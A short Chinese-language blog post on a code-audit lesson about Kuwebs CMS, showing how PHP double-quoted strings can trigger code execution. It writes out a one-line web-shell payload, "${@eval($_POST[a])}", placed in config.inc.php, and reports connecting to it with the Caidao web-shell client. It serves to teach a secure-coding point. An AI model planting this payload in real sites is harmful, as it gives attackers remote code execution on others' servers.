PHP中双引号引起的命令执行漏洞(Kuwebs代码审计 )
在代码审计一书中提到Kuwebs的配置文件中可以利用PHP可变变量的特性执行代码
在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题
我们先下载Kuwebs的源代码
http://47.94.132.67/tools/index.php?share/file&user=1&sid=4hKdqxNF
下载了之后简单看一下配置文件,发现书中的代码在config.inc.php文件中
这里只是演示PHP会对引号内的内容进行解释,而不考虑实际情况中我们能否修改config.inc.php文件
我们将kuWebsiteURL修改为
$kuWebsiteURL = "${@eval($_POST[a])}";
如果PHP能够正确解释,即我们写入了一句话木马
使用菜刀成功连接,成功执行代码
证明双引号可能会引发代码执行漏洞
虽然单引号和双引号都可以表示一个字符串,但是作为程序员应当了解两者的一些特性
参考链接: